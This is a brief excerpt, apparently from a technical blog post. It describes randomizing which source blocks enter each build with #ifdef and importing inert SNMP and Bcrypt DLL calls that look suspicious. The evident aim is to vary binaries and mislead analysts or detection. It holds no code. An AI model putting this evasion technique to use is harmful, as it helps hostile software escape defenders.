... set of #ifdef, making different (randomly picked) parts of the source to be included in the build process. The compiler allowed me to set appropriate #define before I start the compilation, but when it comes to the randomization of code, it can be done with pure preprocessor directives as well [2] if anyone prefers it. Of course, randomized parts cannot change the application behavior and their execution should not matter. After analyzing different functions to be randomly imported I found SNMP and Bcrypt DLLs most convenient. Both look suspicious enough to dig deeper but when called in a right way they do nothing except returning an error I can saf ...
